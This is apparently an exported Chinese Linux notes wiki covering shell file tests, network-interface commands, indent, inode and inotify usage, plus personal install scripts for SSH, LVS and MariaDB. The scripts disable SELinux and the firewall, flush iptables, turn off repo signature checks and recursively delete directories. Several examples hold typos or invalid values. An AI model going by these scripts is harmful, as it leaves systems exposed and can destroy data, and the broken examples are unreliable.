    echo "文件夹存在"
else
    echo "文件夹不存在"
fi
判断文件是否存在

```bash
if [ -f "/data/filename" ];then
    echo "文件存在"
else
    echo "文件不存在"
fi
```
文件比较符

```
-e 判断对象是否存在
-d 判断对象是否存在,并且为目录
-f 判断对象是否存在,并且为常规文件
-L 判断对象是否存在,并且为符号链接
-h 判断对象是否存在,并且为软链接
-s 判断对象是否存在,并且长度不为0
-r 判断对象是否存在,并且可读
-w 判断对象是否存在,并且可写
-x 判断对象是否存在,并且可执行
-O 判断对象是否存在,并且属于当前用户
-G 判断对象是否存在,并且属于当前用户组
-nt 判断file1是否比file2新  [ "/data/file1" -nt "/data/file2" ]
-ot 判断file1是否比file2旧  [ "/data/file1" -ot "/data/file2" ]
```
!!简介
:<div>
ifcfg
===

置Linux中的网络接口参数

</div>

!! 补充说明

:<div>


"ifcfg命令" 是一个Bash脚本程序,用来设置Linux中的网络接口参数。

</div>

!! 语法  

:<div>


```
ifcfg(参数)
```

</div>

!! 参数  

:<div>


```
网络接口:指定要操作的网络接口;
add/del:添加或删除网络接口上的地址;
ip地址:指定IP地址和子网掩码;
Stop:停用指定的网络接口的IP地址。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
Usage:
  ifconfig [-a] [-v] [-s] <interface> [[<AF>] <address>]
  [add <address>[/<prefixlen>]]
  [del <address>[/<prefixlen>]]
  [[-]broadcast [<address>]]  [[-]pointopoint [<address>]]
  [netmask <address>]  [dstaddr <address>]  [tunnel <address>]
  [outfill <NN>] [keepalive <NN>]
  [hw <HW> <address>]  [mtu <NN>]
  [[-]trailers]  [[-]arp]  [[-]allmulti]
  [multicast]  [[-]promisc]
  [mem_start <NN>]  [io_addr <NN>]  [irq <NN>]  [media <type>]
  [txqueuelen <NN>]
  [[-]dynamic]
  [up|down] ...

  <HW>=Hardware Type.
  List of possible hardware types:
    loop (Local Loopback) slip (Serial Line IP) cslip (VJ Serial Line IP)
    slip6 (6-bit Serial Line IP) cslip6 (VJ 6-bit Serial Line IP) adaptive (Adaptive Serial Line IP)
    ash (Ash) ether (Ethernet) ax25 (AMPR AX.25)
    netrom (AMPR NET/ROM) rose (AMPR ROSE) tunnel (IPIP Tunnel)
    ppp (Point-to-Point Protocol) hdlc ((Cisco)-HDLC) lapb (LAPB)
    arcnet (ARCnet) dlci (Frame Relay DLCI) frad (Frame Relay Access Device)
    sit (IPv6-in-IPv4) fddi (Fiber Distributed Data Interface) hippi (HIPPI)
    irda (IrLAP) ec (Econet) x25 (generic X.25)
    infiniband (InfiniBand) eui64 (Generic EUI-64)
  <AF>=Address family. Default: inet
  List of possible address families:
    unix (UNIX Domain) inet (DARPA Internet) inet6 (IPv6)
    ax25 (AMPR AX.25) netrom (AMPR NET/ROM) rose (AMPR ROSE)
    ipx (Novell IPX) ddp (Appletalk DDP) ec (Econet)
    ash (Ash) x25 (CCITT X.25)

```

```bash
# Display network settings of the first ethernet adapter
ifconfig wlan0

# Display all interfaces, even if down
ifconfig -a

# Take down / up the wireless adapter
ifconfig wlan0 {up|down}

# Set a static IP and netmask
ifconfig eth0 192.168.1.100 netmask 255.255.255.0

# You may also need to add a gateway IP
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

#显示网络设备信息

ifconfig        
eth0   Link encap:Ethernet HWaddr 00:50:56:0A:0B:0C 
     inet addr:192.168.0.3 Bcast:192.168.0.255 Mask:255.255.255.0
     inet6 addr: fe80::250:56ff:fe0a:b0c/64 Scope:Link
     UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
     RX packets:172220 errors:0 dropped:0 overruns:0 frame:0
     TX packets:132379 errors:0 dropped:0 overruns:0 carrier:0
     collisions:0 txqueuelen:1000 
     RX bytes:87101880 (83.0 MiB) TX bytes:41576123 (39.6 MiB)
     Interrupt:185 Base address:0x2024 

lo    Link encap:Local Loopback 
     inet addr:127.0.0.1 Mask:255.0.0.0
     inet6 addr: ::1/128 Scope:Host
     UP LOOPBACK RUNNING MTU:16436 Metric:1
     RX packets:2022 errors:0 dropped:0 overruns:0 frame:0
     TX packets:2022 errors:0 dropped:0 overruns:0 carrier:0
     collisions:0 txqueuelen:0 
     RX bytes:2459063 (2.3 MiB) TX bytes:2459063 (2.3 MiB)


#启动关闭指定网卡

ifconfig eth0 down
ifconfig eth0 up


#为网卡配置和删除IPv6地址

ifconfig eth0 add 33ffe:3240:800:1005::2/ 64 #为网卡诶之IPv6地址

ifconfig eth0 del 33ffe:3240:800:1005::2/ 64 #为网卡删除IPv6地址


#用ifconfig修改MAC地址

ifconfig eth0 down #关闭网卡
ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE #修改MAC地址
ifconfig eth0 up #启动网卡
ifconfig eth1 hw ether 00:1D:1C:1D:1E #关闭网卡并修改MAC地址 
ifconfig eth1 up #启动网卡


#配置IP地址

ifconfig eth0 192.168.1.56 
#给eth0网卡配置IP地址
ifconfig eth0 192.168.1.56 netmask 255.255.255.0 
#给eth0网卡配置IP地址,并加上子掩码
ifconfig eth0 192.168.1.56 netmask 255.255.255.0 broadcast 192.168.1.255
#给eth0网卡配置IP地址,加上子掩码,加上个广播地址


#启用和关闭ARP协议
ifconfig eth0 arp   #开启
ifconfig eth0 -arp  #关闭


#设置最大传输单元

ifconfig eth0 mtu 1500 
#设置能通过的最大数据包大小为 1500 bytes
```
!!简介
:<div>
ifdown
===

禁用指定的网络接口

</div>

!! 补充说明

:<div>


"ifdown命令" 用于禁用指定的网络接口。

</div>

!! 语法  

:<div>


```
ifdown(参数)
```

</div>

!! 参数  

:<div>


网络接口:要禁用的网络接口。

</div>

!! 实例  

:<div>


```
ifdown eth0  #禁用eth0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>


!!简介
:<div>
ifup
===

激活指定的网络接口

</div>

!! 补充说明

:<div>


"ifup命令" 用于激活指定的网络接口。

</div>

!! 语法  

:<div>


```
ifup(参数)
```

</div>

!! 参数  

:<div>


网络接口:要激活的网络接口。

</div>

!! 实例  

:<div>


```
ifup eth0   #激活eth0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''IGRP ''(Interior Gateway Routing Protocol)是一种内部网关路由协议,它由Cisco公司八十年代中期设计。使用组合用户配置尺度,包括延迟、带宽、可靠性和负载。缺省情况下,IGRP每90秒发送一次路由更新广播,在3个更新周期内(即270秒),没有从路由中的第一个路由器接收到更新,则宣布路由不可访问。在7个更新周期即630秒后,Cisco IOS 软件从路由表中清除路由。

;IGRP度量值中包含以下分量:
:带宽:路径中的最低带宽;
:延迟:路径上的累积接口延迟;
:可靠性:信源和目的地之间的链路上的负载,单位为bit/s(比特每秒);
:MTU:路径上的最大传输单元。
!!简介
:<div>
indent
===

格式化C语言的源文件

</div>

!! 补充说明

:<div>


"indent命令" 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。

</div>

!! 语法  

:<div>


```
indent(选项)(源文件)
或
indent(选项)(源文件)(-o 目标文件)
```

</div>

!! 选项  

:<div>


```
-bad:在声明区加上空白行;
-bap:添加空白行;
-bbb:在注释后面添加空白行;
-bc:在声明段中,如果出现逗号就换行;
-bl:if(或是else、for等)与后面执行区段的“{”不同行,且“}”自成一行-bli<缩排格数>设置{}缩排的格数;
-br:if(或是else、for等)与后面执行区段的“{”同行,且“}”自成一行;
-bs:在sizeof之后空一格;
-c<栏数>:将注释置于程序右侧指定的栏位;
-cd<栏数>:将注释置于声明右侧指定的栏位;
-cdb:注释符号自成一行;
-ce:将else置于“}”(if执行区段的结尾)之后;
-ci:<缩排格数>:叙述过长而换行时,指定换行后缩排的格数;
-cli<缩排格数>:使用case时,switch缩排的格数;
-cp<栏数>:将注释置于else与elseif叙述右侧指定的栏位;
-cs:在case之后空一格;
-d<缩排格数>:针对不是放在程序码右侧的注释,设置其缩排格数;
-di<栏数>:将声明区段的变量置于指定的栏位;
-fc1:针对放在每行最前端的注释,设置其格式;
-fca:设置所有注释的格式;
-gnu:使用指定的GNU格式,该参数为默认值;
-i<格数>:设置缩排的格数;
-ip<格数>:设置参数的缩排格数;
-kr:指定使用Kernighan&Ritchie的格式;
-lp:叙述过长而换行,且叙述中包含了括号时,将括号中的每行起始栏位内容垂直对其排列;
-nbad:在声明区段后不要加上空白行;
-nbap:在程序后面不添加空白行;
-nbbb:在注释段后面不添加空白行;
-nbc:在声明段中,即使出现逗号,也不换行;
-ncdb:注释符号不自成一行;
-nce:不将else置于“}”后面;
-ncs:不在case后面空一格;
-nfc1:不要格式化放在每行最前端的注释;
-nfca:不用格式化任何的注释;
-nip:参数不要缩排;
-nlp:叙述过长而换行,且叙述中包含了括号时,不用将括号中的每行起始栏位垂直对其排列;
-npcs:在调用函数名之后,不要添加空格;
-npro:不要读取indent的配置文件“.indent.pro”;
-npsl:程序类型与程序名称放在同一行;
-nsc:注释左侧不要添加星号;
-nsob:不用处理多余的空白行;
-nss:若for或while区段仅有一行时,在分号前不加空格;
-nv:不显示详细的信息;
-orig:使用berkeley格式;
-pcs:在调用函数名与“{”之间添加空格;
-psl:程序类型置于程序名称的前一行;
-sc:在每行注释左侧添加星号;
-sob:删除多余的空白行;
-ss:若for或swile区段仅有一行时,在分号前加上空格;
-st:将结果显示在标准输出设备上;
-T:数据类型名称缩排;
-ts<格数>:设置tab的长度;
-v:显示详细的执行过程;
--version:显示版本信息。
```

</div>

!! 实例  

:<div>


使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令:

```
indent -bs /home/rootlocal/桌面/test.c
```

执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* info<pre>

GNU 工具info 适合通用文档参考。
 没有参数, 列出所有的页面
 info 页面的结构就像一个网站
 每一页分为“节点”
 前 链接节点之前 *
 info [ 令 命令 ]

方向键,PgUp ,PgDn 导航
Tab键 键 移动到下一个链接
d 显示主题目录
Home 显示主题首部
Enter入 进入 选定链接
n/p/u/l 进入下/ 前/ 上一层/ 最后一个链接
s 字 文字 文本搜索
q 出 退出 info

</pre>
```
init [OPTIONS...] {COMMAND}

Send control commands to the init daemon.

     --help      Show this help
     --no-wall   Don't send wall message before halt/power-off/reboot

Commands:
  0              Power-off the machine
  6              Reboot the machine
  2, 3, 4, 5     Start runlevelX.target unit
  1, s, S        Enter rescue mode
  q, Q           Reload init daemon configuration
  u, U           Reexecute init daemon

```
!install 
:<div>

```bash
function tools(){
    yum -y  update
    yum -y install yum-utils wget vim tree tmux  smartmontools pv neovim ncdu mmv mlocate mdadm lrzsz hdparm git epel-release dump
    yum -y install bash-completion bash-completion-extras
    yum -y install bzip2 epel-release emacs htop python man-db fish unzip ranger ncdu mailx finger bmon redhat-lsb-core 
#open-vm-tools system-config-kickstart
    yum -y install bmon xorriso gnugo parallel
    yum -y install python2-pip python-ipython-console
    pip install ranger-fm isearch coscmd
    yum -y install ftp lsof
}

function ssh(){
    port=xxxxx
    mkdir /root/.ssh -pv
    cat > .ssh/authorized_keys <<-EOF
    xxxxx
    EOF
    sed -i 's/^PasswordAuthentication\ yes/PasswordAuthentication\ no/g'    /etc/ssh/sshd_config
    sed -i 's/#Port\ 22/Port\ ${port}/g'                                    /etc/ssh/sshd_config
    sed -i 's/^#UseDNS .*/UseDNS NO/g'                                      /etc/ssh/sshd_config
    sed -i 's/^#GSSAPIAuthentication .*/GSSAPIAuthentication no/g'          /etc/ssh/sshd_config
    systemctl restart sshd
}

function ssh_check(){
    echo "checking sshd config:"
    grep -i PasswordAuthentication /etc/ssh/sshd_config
    grep -i Port /etc/ssh/sshd_config
}

function selinux(){
    sed -i 's/SELINUX=enforcing/SELINUX=disabled/g'                         /etc/sysconfig/selinux
}
```
</div>


```bash
# cat 带语法高亮
# sudo pip install pygments
# sudo apt install python-pygments
function ccat() {
    local style="monokai"
    if [ $# -eq 0 ]; then
        pygmentize -P style=$style -P tabsize=4 -f terminal256 -g
    else
        for NAME in $@; do
            pygmentize -P style=$style -P tabsize=4 -f terminal256 -g "$NAME"
        done
    fi
}
```
;innodb_file_per_table¶

:<div>

* ''Description'': If set to ON, then new InnoDB tables are created with their own InnoDB file-per-table tablespaces. If set to OFF, then new tables are created in the InnoDB system tablespace instead. Page compression is only available with file-per-table tablespaces. Note that this value is also used when a table is re-created with an ALTER TABLE which requires a table copy.
* ''Commandline'': --innodb-file-per-table
* ''Scope'': Global
* ''Dynamic'': Yes
* ''Data Type'': boolean
* ''Default Value'': ON (>= MariaDB 5.5), OFF (<= MariaDB 5.3)
</div>
* inode(index node)
    ** 元数据
        *** 元数据列表查ppt
				****文件的字节数
				****文件UID,GID
				****文件的读、写、执行权限
				****文件的时间戳,
                    ****ctime指inode上一次变动的时间,
                    ****mtime文件内容上一次变动的时间,
                    ****atime指文件上一次打开的时间。
				****链接数,即有多少文件名指向这个inode
				****文件数据block的位置
        *** 文件指针ext3
            **** 直接指针(12个指针, 数据块4k) 4k*12=48k
            **** 间接指针( 48K < FILE < 4M)
                ***** 指针指向指针块(4096)
                ***** 每个指针4个字节
                ***** 每个指针块 4096/4=1024个
                ***** 1024 * 4k = 4M
            **** 二级指针( 4M < FILE < 4G)
                ***** 4M * 1024 = 4G
            **** 三级指针( 4G << 4T)
                ***** 4G * 1024 = 4T
            **** .....
        *** 文件指针ext4 (源码)
    ** 目录文件
        *** [[mkdir]] 后 , dir 的inode链接数为2 .(`但是为什么这么设计 ?`)
        *** 目录文件的内容
            **** 文件夹内的文件列表
            **** 每个文件的inode号码
        *** 目录的RXW权限
            **** rxw权限只限于目录文件本身
            **** r 读取文件列表和文件inode
            **** w create or update (filelist , inode list)
            **** x 读取inode节点内的信息(见元数据项)

    ** view<pre>

```bash
        # inode 可以重复利用
        # 文件重命名inode不变化
        ll -i
        
        #耗尽inode
        mkdir test_inode;cd test_inode
        echo f{1..65534}| xargs touch &
        watch -n 1 'df -ih'
        ls | xargs rm -f;cd .. ; rm -rf test_inode
```
</pre> 
        
    ** 硬链接inode号码相同
        *** [[stat]] file #查看inode数量
        *** 属性完全相同
        *** 删除文件
            **** 删除一个文件名,就会使得inode节点中的"链接数"减1。
            **** 当这个值减到0,系统就会回收这个inode号码,以及其所对应block区域。
            **** [[shred]] # 安全删除文件
            **** 目录不可以做硬链接
    ** 软链接
        *** 属性完全不同
        *** 相对路径做软链接
            **** 原路径应该是相对dest link的相对路径 , 而不是当前工作目录的相对路径
            **** 便于移植
    ** [[mv]] 
        *** 创建新的目录条目
        *** 删除旧的目录条目
        *** inode 表不变化
    ** rm
        *** [[find]]<pre>

```bash
find ./* -inum 1049741 -delete
#在当前目录下查找指定inode的文件,然后将其删除

find ./* -inum 1049741 -exec rm -i {} \;
#rm

find ./* -inum 1049741 |xargs rm -f
#xargs
```
</pre>
    ** list
        *** [[readlink]] 获取原始路径
        *** [[file]] 查看文件类型[[mageic_number]]
            **** -f read list from a file
            **** -F 分隔符
    **格式化调整inode大小
        *** `sudo mkfs.ext3 /dev/sdb1 -N 18276352` 

* `https://www.cnblogs.com/xiexj/p/7214502.html`



! 软链接和硬链接的区别
:<div>


①默认不带参数的情况下,ln创建的是硬链接,带-s参数的ln命令创建的是软链接。

②硬链接文件与源文件的inode节点号相同,而软链接文件的inode节点号,与源文件不同,

③ln命令不能对目录创建硬链接,但可以创建软链接。对目录的软链接会经常使用到。

④删除软链接文件,对源文件和硬链接文件无任何影响。

⑤删除文件的硬链接文件,对源文件及软链接文件无任何影响。

⑥删除链接文件的源文件,对硬链接文件无影响,会导致其软链接失效(红底白字闪烁状)。

⑦同时删除源文件及其硬链接文件,整个文件才会被真正的删除。

⑧很多硬件设备的快照功能,使用的就是类似硬链接的原理。

⑨软链接可以跨文件系统,硬链接不可以跨文件系统。

</div>
!!简介
:<div>
inotifywait
===

异步文件系统监控机制

</div>

!! 补充说明

:<div>


"Inotify" 一种强大的、细粒度的、异步文件系统监控机制,它满足各种各样的文件监控需要,可以监控文件系统的访问属性、读写属性、权限属性、删除创建、移动等操作,也就是可以监控文件发生的一切变化。。

 "inotify-tools" 是一个C库和一组命令行的工作提供Linux下inotify的简单接口。inotify-tools安装后会得到`inotifywait`和`inotifywatch`这两条命令:

*    "inotifywait命令" 可以用来收集有关文件访问信息,Linux发行版一般没有包括这个命令,需要安装inotify-tools,这个命令还需要将inotify支持编译入Linux内核,好在大多数Linux发行版都在内核中启用了inotify。
*    "inotifywatch命令" 用于收集关于被监视的文件系统的统计数据,包括每个 inotify 事件发生多少次。

开始之前需要检测系统内核是否支持inotify:

使用`uname -r`命令检查Linux内核,如果低于2.6.13,就需要重新编译内核加入inotify的支持。

使用`ll /proc/sys/fs/inotify`命令,是否有以下三条信息输出,如果没有表示不支持。

```
ll /proc/sys/fs/inotify
total 0
-rw-r--r-- 1 root root 0 Jan  4 15:41 max_queued_events
-rw-r--r-- 1 root root 0 Jan  4 15:41 max_user_instances
-rw-r--r-- 1 root root 0 Jan  4 15:41 max_user_watches

```

</div>

!! 安装inotify-tools  

:<div>


*   inotify-tools项目地址:https://github.com/rvoicilas/inotify-tools
*   inotify-tools下载地址:http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz

```
#CentOS release 5.8/64位:
tar zxvf inotify-tools-3.14.tar.gz
cd inotify-tools-3.14
./configure
make
make install
```

其他Linux发行版安装方法可以参见:https://github.com/rvoicilas/inotify-tools/wiki#wiki-getting

</div>

!! inotify相关参数  

:<div>


inotify定义了下列的接口参数,可以用来限制inotify消耗kernel memory的大小。由于这些参数都是内存参数,因此,可以根据应用需求,实时的调节其大小:

*   `/proc/sys/fs/inotify/max_queued_evnets`表示调用inotify_init时分配给inotify instance中可排队的event的数目的最大值,超出这个值的事件被丢弃,但会触发IN_Q_OVERFLOW事件。
*   `/proc/sys/fs/inotify/max_user_instances`表示每一个real user id可创建的inotify instatnces的数量上限。
*   `/proc/sys/fs/inotify/max_user_watches`表示每个inotify instatnces可监控的最大目录数量。如果监控的文件数目巨大,需要根据情况,适当增加此值的大小。

根据以上在32位或者64位系统都可以执行:

```
echo 104857600 > /proc/sys/fs/inotify/max_user_watches
echo 'echo 104857600 > /proc/sys/fs/inotify/max_user_watches' >> /etc/rc.local
```

如果遇到以下错误:

```
inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot open shared object file: No such file or directory 
```

```
 "解决方法:" 
32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0
64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0
```

</div>

!! inotifywait命令使用  

:<div>


```
#!/bin/bash
#filename watchdir.sh
path=$1
/usr/local/bin/inotifywait -mrq --timefmt '%d/%m/%y/%H:%M' --format '%T %w %f' -e modify,delete,create,attrib $path

执行输出:
./watchdir.sh /data/wsdata/tools/
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
04/01/13/16:35 /data/wsdata/tools/ 4913
04/01/13/16:35 /data/wsdata/tools/ 4913
04/01/13/16:35 /data/wsdata/tools/ 4913
04/01/13/16:35 /data/wsdata/tools/ j.jsp
04/01/13/16:35 /data/wsdata/tools/ j.jsp
04/01/13/16:35 /data/wsdata/tools/ j.jsp
04/01/13/16:35 /data/wsdata/tools/ j.jsp~
04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp

```

</div>

!! inotifywait命令参数  

:<div>


*   `-m`是要持续监视变化。
*   `-r`使用递归形式监视目录。
*   `-q`减少冗余信息,只打印出需要的信息。
*   `-e`指定要监视的事件列表。
*   `--timefmt`是指定时间的输出格式。
*   `--format`指定文件变化的详细信息。

</div>

!!# 可监听的事件  

:<div>


<table border="0" height="193" style="width: 100%;" width="74">

<tbody>

<tr>

<th>事件</th>

<th>描述</th>

</tr>

<tr>

<td>access</td>

<td> "访问" ,读取文件。</td>

</tr>

<tr>

<td>modify</td>

<td> "修改" ,文件内容被修改。</td>

</tr>

<tr>

<td>attrib</td>

<td> "属性" ,文件元数据被修改。</td>

</tr>

<tr>

<td>move</td>

<td> "移动" ,对文件进行移动操作。</td>

</tr>

<tr>

<td>create</td>

<td> "创建" ,生成新文件</td>

</tr>

<tr>

<td>open</td>

<td> "打开" ,对文件进行打开操作。</td>

</tr>

<tr>

<td>close</td>

<td> "关闭" ,对文件进行关闭操作。</td>

</tr>

<tr>

<td>delete</td>

<td> "删除" ,文件被删除。</td>

</tr>

</tbody>

</table>


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;insmod命令用于将给定的模块加载到内核中。
:Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。

* 选项

:<div>

```
-f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入;
-k:将模块设置为自动卸除;
-m:输出模块的载入信息;
-o<模块名称>:指定模块的名称,可使用模块文件的文件名;
-p:测试模块是否能正确地载入kernel;
-s:将所有信息记录在系统记录文件中;
-v:执行时显示详细的信息;
-x:不要汇出模块的外部符号;
-X:汇出模块所有的外部符号,此为预设置。
```
</div>

* 实例

:<div>



加载RAID1阵列级别模块,如下所示:

```bash
[root@localhost boot]# insmod /lib/modules/2.6.
18-8.el5/kernel/drivers/md/raid1.ko  

[root@localhost boot]# lsmod | grep raid1
raid1                  25153  0
```
从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。

</div>
!!简介
:<div>
install
===

安装或升级软件或备份数据

</div>

!! 补充说明

:<div>


"install命令" 的作用是安装或升级软件或备份数据,它的使用权限是所有用户。install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点。但是,install允许你控制目标文件的属性。install通常用于程序的makefile,使用它来将程序拷贝到目标(安装)目录。

</div>

!! 语法  

:<div>


```
install [OPTION]... [-T] SOURCE DEST
install [OPTION]... SOURCE... DIRECTORY
install [OPTION]... -t DIRECTORY SOURCE...
install [OPTION]... -d DIRECTORY...
```

在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。

</div>

!! 选项  

:<div>


```
--backup[=CONTROL]:为每个已存在的目的地文件进行备份。
-b:类似 --backup,但不接受任何参数。
-c:(此选项不作处理)。
-d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。
-D:创建<目的地>前的所有主目录,然后将<来源>复制至 <目的地>;在第一种使用格式中有用。
-g,--group=组:自行设定所属组,而不是进程目前的所属组。
-m,--mode=模式:自行设定权限模式 (像chmod),而不是rwxr-xr-x。
-o,--owner=所有者:自行设定所有者 (只适用于超级用户)。
-p,--preserve-timestamps:以<来源>文件的访问/修改时间作为相应的目的地文件的时间属性。
-s,--strip:用strip命令删除symbol table,只适用于第一及第二种使用格式。
-S,--suffix=后缀:自行指定备份文件的<后缀>。
-v,--verbose:处理每个文件/目录时印出名称。
--help:显示此帮助信息并离开。
--version:显示版本信息并离开。
```

</div>

!! 实例  

:<div>


```
install -d [option] DIRECTORY [DIRECTORY...]
```

支持多个,类似`mkdir -p`支持递归。例如:`install -d a/b/c e/f`结果和`mkdir -p a/b/c e/f`一样。

```
install [option] SOURCE DEST
```

 "复制SOURCE文件(测试不能是目录)到DEST file(文件):" 

```
install a/e c
结果类似:
cp a/e c    #注意c必须是文件。
```

 "有用选项`-D`:" 

```
install -D x a/b/c
效果类似:
mkdir -p a/b && cp x a/b/c
```

```
install [option] SOURCE [SOURCE...] DIRECTORY
```

 "复制多个SOURCE文件到目的目录:" 

```
install a/* d
```

其中d是目录。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
{{bash_head}}

{{install-npm}}

```bash
function dat_install(){
    user=$1
    npm_install
    yum -y install tmux
    npm install -g hypercored
    npm install -g dat
    adduser ${user};su - ${user}
    echo 'dat://url/' >> feeds
    hypercored
}
```
* 脚本相关

* LVS
:<div>



```bash
vip='192.168.43.128'
dip='192.168.45.11'
port_pub='80'
port_priv='80'
rip01='192.168.45.102'
rip02='192.168.45.103'

function lvs_install(){
    if `rpm -qa| grep -q ipvsadm`;then
        echo "ipvsadm is installed . pass"
    else
        echo "ipvsadm installing ...."
        yum install -y ipvsadm
    fi
}

function lvs_start(){
    iptables -F
    setenforce 0
    ipvsadm -A -t ${vip}:${port_pub} -s rr 
    ipvsadm -a -t ${vip}:${port_pub} -r ${rip01} -m
    ipvsadm -a -t ${vip}:${port_pub} -r ${rip02} -m
    # enable forword
    sysctl -w net.ipv4.ip_forward=1
    #systemctl start ipvsadm.service
}
function lvs_stop(){
    ipvsadm -C
    sysctl -w net.ipv4.ip_forward=0
    systemctl stop ipvsadm.service
}

function lvs_list(){
    # list
    ipvsadm -ln --stats #状态信息
}

function lvs_save(){
    # save
    ipvsadm -S -n > /etc/sysconfig/ipvsadm
}

# service
#systemctl stop ipvsadm.service
#systemctl start ipvsadm.service

function lvs_clean(){
    # clean
    ipvsadm -C #清空规则
}
```
</div>

* client
:<div>

```bash
function client_start_httpd(){
    msg=$1
    yum -y install httpd
    echo ${msg} > /var/www/html/index.html
    systemctl start httpd
}

function set_local_yum(){
    repo=/etc/yum.repos.d/local.repo
    rm -rf /etc/yum.repos.d/*
    cat > ${repo} <<-EOF
    [base]
    name=local
    baseurl=ftp://dns01/
    gpgcheck=0
    enabled=1
EOF
    sed -i 's/^\ *//g' ${repo}
    yum clean all
    yum makecache 
    yum install -y vim fish
}
```
</div>
{{bash_head}}

```bash
log_dir=/data/log
db_log=${log_dir}/mariadb.log
bin_log=${log_dir}/bin.log
pid=${log_dir}/mariadb.pid
data_dir=/data/mysqldb
sock=${data_dir}/mysql.sock
cnf_d=/etc/my.cnf.d
env_sh=/etc/profile.d/mysql.sh
repo=/etc/yum.repos.d/local.repo
db_ver=mariadb-10.2.12-linux-x86_64
src_dir=/root/soft
ins_log=${src_dir}/db_install.log
unit_dir=/usr/lib/systemd/system/
unit_name=mariadb.service
unit_file=${unit_dir}/${unit_name}
service_dir=/etc/init.d
service_name=mariadbd
service_file=${service_dir}/${service_name}
base_dir=/usr/local/mysql
remote_dir=/data/soft

function set_local_yum(){
    rm -rf /etc/yum.repos.d/*
    cat > ${repo} <<-EOF
    [base]
    name=local
    baseurl=ftp://dns01/
    gpgcheck=0
    enabled=1
EOF
    sed -i 's/^\ *//g' ${repo}
    yum clean all
    yum makecache 
    yum install -y vim fish
}

function init_env(){
    setenforce 0
    sed -iE 's/SELINUX=.*/SELINUX=disable/g' /etc/selinux/config
    systemctl stop firewalld
    systemctl disable firewalld
}

function init_cnf(){
    [ -d ${cnf_d} ] && rm -rf ${cnf_d} 
    mkdir ${cnf_d}
    [ -f /etc/my.cnf ] && rm -f /etc/my.cnf
    cat > /etc/my.cnf <<-EOF
    [mysqld]
    datadir=${data_dir}
    socket=${sock}
    symbolic-links=0
    innodb_file_per_table
    log_bin=${log_bin}
    binlog_format='row'
    sync_binlog=1
    innodb_flush_logs_at_trx_commit=1
    [mysqld_safe]
    log-error=${db_log}
    pid-file=${pid}
    !includedir ${cnf_d}
EOF
    sed -i 's/^\ *//g' /etc/my.cnf
    sed -i /'\[mysqld\]'/a\\"datadir         = ${data_dir}" /etc/my.cnf
}

function init_systemd(){
    cat > ${unit_dir}/${unit_name} <<-EOF
    [Unit]
    Description=MariaDB 10.2.12 database server
    After=network.target
    After=syslog.target
    
    [Install]
    WantedBy=multi-user.target
    Alias=mysql.service
    Alias=mysqld.service
    
    [Service]
    TimeoutStartSec=0
    Type=forcking
    User=mysql
    Group=mysql
    ExecStart=${base_dir}/bin/mysqld
    KillSignal=SIGTERM
    SendSIGKILL=no
    Restart=on-abort
EOF
    sed -i 's/^\ *//g' ${unit_dir}/${unit_name}
}

function start_systemd(){
    systemctl enable ${unit_name}
    systemctl start  ${unit_name}
}

function init_service(){
    cd ${base_dir}
    cp support-files/mysql.server ${service_dir}/${service_name}
    chkconfig --add ${service_name}
    chkconfig ${service_name} on
    service   ${service_name} start
}

function init_bin(){
    #mkdir ~/soft ; cd ~/soft
    #wget https://downloads.mariadb.org/interstitial/mariadb-10.2.12/bintar-linux-x86_64/${db_ver}.tar.gz/from/http%3A//ftp.hosteurope.de/mirror/archive.mariadb.org/
    #mv -f index.html ${db_ver}.tar.gz
    [ -d ${src_dir} ] && rm -rf ${src_dir}
        mkdir ${src_dir};cd ${src_dir}
    scp dns01:${remote_dir}/${db_ver}.tar.gz  ${src_dir}/
    [ -d /usr/local/${db_ver} ] && rm -rf /usr/local/${db_ver}
        tar -xf ${src_dir}/${db_ver}.tar.gz -C /usr/local/
    ln -s /usr/local/${db_ver} ${base_dir}
    chown -R mysql.mysql ${base_dir}
    echo PATH=${base_dir}/bin:$PATH > ${env_sh}
        echo mysql='"mysql -S ${sock}"' >> ${env_sh}
    source ${env_sh}
}
function init_db(){
    [ -d ${data_dir} ] && rm -rf ${data_dir} 
    mkdir -pv ${data_dir}
